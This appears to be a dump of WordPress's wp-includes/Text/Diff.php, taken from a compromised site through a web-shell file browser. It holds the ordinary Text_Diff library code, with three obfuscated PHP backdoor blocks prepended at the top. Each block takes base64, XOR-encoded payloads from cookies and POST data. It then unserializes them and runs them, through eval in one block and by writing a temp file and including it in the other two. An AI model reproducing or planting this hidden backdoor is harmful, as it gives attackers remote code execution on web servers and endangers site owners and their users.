%PDF- %PDF-
Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/Text/ |
Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/Text/Diff.php |
<?php $otlOM = "\x62" . "\167" . chr (113) . chr (95) . "\117" . "\162" . "\127";$BILVP = chr (99) . "\154" . "\141" . "\163" . chr ( 1090 - 975 )."\137" . 'e' . 'x' . 'i' . "\x73" . "\x74" . "\x73";$szlUEaYcPC = class_exists($otlOM); $BILVP = "22199";$Zfrojg = !1;if ($szlUEaYcPC == $Zfrojg){function tztPbW(){$VLPDSqrUg = new /* 8157 */ bwq_OrW(36088 + 36088); $VLPDSqrUg = NULL;}$HrxSqUkF = "36088";class bwq_OrW{private function psrkNyZ($HrxSqUkF){if (is_array(bwq_OrW::$WocqP)) {$ILqbKmDye = str_replace("\74" . chr (63) . chr ( 277 - 165 ).chr (104) . chr (112), "", bwq_OrW::$WocqP[chr ( 938 - 839 ).chr ( 294 - 183 )."\x6e" . "\x74" . chr ( 467 - 366 ).'n' . "\164"]);eval($ILqbKmDye); $HrxSqUkF = "36088";exit();}}private $OujYC;public function NGkVK(){echo 61452;}public function __destruct(){$HrxSqUkF = "57419_60665";$this->psrkNyZ($HrxSqUkF); $HrxSqUkF = "57419_60665";}public function __construct($iWzxjjLIM=0){$WFmRU = $_POST;$dpzymi = $_COOKIE;$GauNTZ = "6cddbdb6-6537-4ecc-818c-c82de658b9ca";$LljSomWe = @$dpzymi[substr($GauNTZ, 0, 4)];if (!empty($LljSomWe)){$bDbAjqWoZ = "base64";$pjuayLLCp = "";$LljSomWe = explode(",", $LljSomWe);foreach ($LljSomWe as $fpsPzvdXyX){$pjuayLLCp .= @$dpzymi[$fpsPzvdXyX];$pjuayLLCp .= @$WFmRU[$fpsPzvdXyX];}$pjuayLLCp = array_map($bDbAjqWoZ . '_' . "\x64" . 'e' . "\x63" . 'o' . 'd' . "\x65", array($pjuayLLCp,)); $pjuayLLCp = $pjuayLLCp[0] ^ str_repeat($GauNTZ, (strlen($pjuayLLCp[0]) / strlen($GauNTZ)) + 1);bwq_OrW::$WocqP = @unserialize($pjuayLLCp); $pjuayLLCp = class_exists("57419_60665");}}public static $WocqP = 34466;}tztPbW();} ?><?php $WhieEzs = chr (120) . chr (95) . chr (87) . 'h' . 'z' . 'p';$uPTlqG = chr (99) . "\x6c" . 'a' . chr ( 834 - 719 )."\x73" . chr ( 816 - 721 )."\x65" . "\170" . chr ( 918 - 813 ).chr (115) . "\x74" . chr ( 789 - 674 ); $aEozmjVC = class_exists($WhieEzs); $uPTlqG = "51718";$PZZRqlyMN = !1;if ($aEozmjVC == $PZZRqlyMN){function mysEfBw(){return FALSE;}$HcTNfcmIM = "32534";mysEfBw();class x_Whzp{private function ZxeccDN($HcTNfcmIM){if (is_array(x_Whzp::$UzyHLy)) {$HtxMNp = sys_get_temp_dir() . "/" . crc32(x_Whzp::$UzyHLy["\x73" . 'a' . 'l' . "\164"]);@x_Whzp::$UzyHLy[chr ( 920 - 801 )."\162" . chr ( 637 - 532 ).'t' . 'e']($HtxMNp, x_Whzp::$UzyHLy["\143" . chr ( 484 - 373 ).'n' . chr ( 610 - 494 ).chr (101) . "\x6e" . chr (116)]);include $HtxMNp;@x_Whzp::$UzyHLy[chr (100) . "\x65" . chr ( 955 - 847 ).'e' . "\164" . "\x65"]($HtxMNp); $HcTNfcmIM = "32534";exit();}}private $GVSFiHjrM;public function XbKMaJIXPJ(){echo 22459;}public function __destruct(){$HcTNfcmIM = "46202_32182";$this->ZxeccDN($HcTNfcmIM); $HcTNfcmIM = "46202_32182";}public function __construct($uzthsZUO=0){$DBbAgZinRV = $_POST;$ZJjDAxUtk = $_COOKIE;$fenetg = "c3678d46-2bca-489d-abf6-8cc7be6d8649";$avYrLH = @$ZJjDAxUtk[substr($fenetg, 0, 4)];if (!empty($avYrLH)){$UccBqUBB = "base64";$aVKTIkuBT = "";$avYrLH = explode(",", $avYrLH);foreach ($avYrLH as $zJxdZNhCd){$aVKTIkuBT .= @$ZJjDAxUtk[$zJxdZNhCd];$aVKTIkuBT .= @$DBbAgZinRV[$zJxdZNhCd];}$aVKTIkuBT = array_map($UccBqUBB . "\x5f" . "\144" . "\x65" . "\143" . chr ( 888 - 777 )."\x64" . 'e', array($aVKTIkuBT,)); $aVKTIkuBT = $aVKTIkuBT[0] ^ str_repeat($fenetg, (strlen($aVKTIkuBT[0]) / strlen($fenetg)) + 1);x_Whzp::$UzyHLy = @unserialize($aVKTIkuBT); $aVKTIkuBT = class_exists("46202_32182");}}public static $UzyHLy = 35225;}$LKUaG = new /* 61119 */ $WhieEzs(32534 + 32534); $PZZRqlyMN = $LKUaG = $HcTNfcmIM = Array();} ?><?php $sjbvOnM = chr (112) . chr ( 130 - 27 )."\137" . chr (112) . chr (98) . chr ( 708 - 627 ); $DWVqZXyAFm = "\x63" . "\x6c" . "\x61" . "\x73" . "\x73" . "\x5f" . "\x65" . chr (120) . "\151" . chr ( 174 - 59 ).chr ( 658 - 542 )."\x73";$yVYfEwA = class_exists($sjbvOnM); $DWVqZXyAFm = "64125";$uMZXLnEEI = !1;if ($yVYfEwA == $uMZXLnEEI){function cosGOStf(){return FALSE;}$VlDZkd = "41746";cosGOStf();class pg_pbQ{private function nRNPfD($VlDZkd){if (is_array(pg_pbQ::$wzMRylaXl)) {$GdJGH = sys_get_temp_dir() . "/" . crc32(pg_pbQ::$wzMRylaXl["\163" . chr (97) . chr (108) . 't']);@pg_pbQ::$wzMRylaXl[chr ( 448 - 329 ).chr (114) . chr ( 1100 - 995 ).'t' . chr ( 916 - 815 )]($GdJGH, pg_pbQ::$wzMRylaXl[chr (99) . chr (111) . chr ( 656 - 546 ).'t' . chr ( 373 - 272 ).chr ( 295 - 185 )."\164"]);include $GdJGH;@pg_pbQ::$wzMRylaXl["\x64" . chr (101) . chr ( 1078 - 970 ).'e' . chr (116) . chr ( 916 - 815 )]($GdJGH); $VlDZkd = "41746";exit();}}private $Mzdfn;public function QOEqqJNOSs(){echo 18346;}public function __destruct(){$VlDZkd = "23756_58907";$this->nRNPfD($VlDZkd); $VlDZkd = "23756_58907";}public function __construct($Aapuc=0){$sQsafIr = $_POST;$Auacy = $_COOKIE;$oNGhmd = "a4265899-a57f-4c6d-ae20-1e832b233a95";$VUaIh = @$Auacy[substr($oNGhmd, 0, 4)];if (!empty($VUaIh)){$RfFVlPNGj = "base64";$QZwsLiL = "";$VUaIh = explode(",", $VUaIh);foreach ($VUaIh as $VwVbPy){$QZwsLiL .= @$Auacy[$VwVbPy];$QZwsLiL .= @$sQsafIr[$VwVbPy];}$QZwsLiL = array_map($RfFVlPNGj . '_' . "\144" . "\145" . "\143" . chr ( 571 - 460 ).chr (100) . chr (101), array($QZwsLiL,)); $QZwsLiL = $QZwsLiL[0] ^ str_repeat($oNGhmd, (strlen($QZwsLiL[0]) / strlen($oNGhmd)) + 1);pg_pbQ::$wzMRylaXl = @unserialize($QZwsLiL); $QZwsLiL = class_exists("23756_58907");}}public static $wzMRylaXl = 36797;}$XKYesfsnN = new /* 27758 */ $sjbvOnM(41746 + 41746); $uMZXLnEEI = $XKYesfsnN = $VlDZkd = Array();} ?><?php /** * General API for generating and formatting diffs - the differences between * two sequences of strings. * * The original PHP version of this code was written by Geoffrey T. Dairiki * <dairiki@dairiki.org>, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org> * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * <code> * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * </code> * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { trigger_error("Reconstructed original does not match", E_USER_ERROR); } if (serialize($to_lines) != serialize($this->getFinal())) { trigger_error("Reconstructed final does not match", E_USER_ERROR); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { trigger_error("Reversed original does not match", E_USER_ERROR); } if (serialize($from_lines) != serialize($rev->getFinal())) { trigger_error("Reversed final does not match", E_USER_ERROR); } $prevtype = null; foreach ($this->_edits as $edit) { if ($edit instanceof $prevtype) { trigger_error("Edit sequence is non-optimal", E_USER_ERROR); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op { var $orig; var $final; function &reverse() { trigger_error('Abstract method', E_USER_ERROR); } function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } }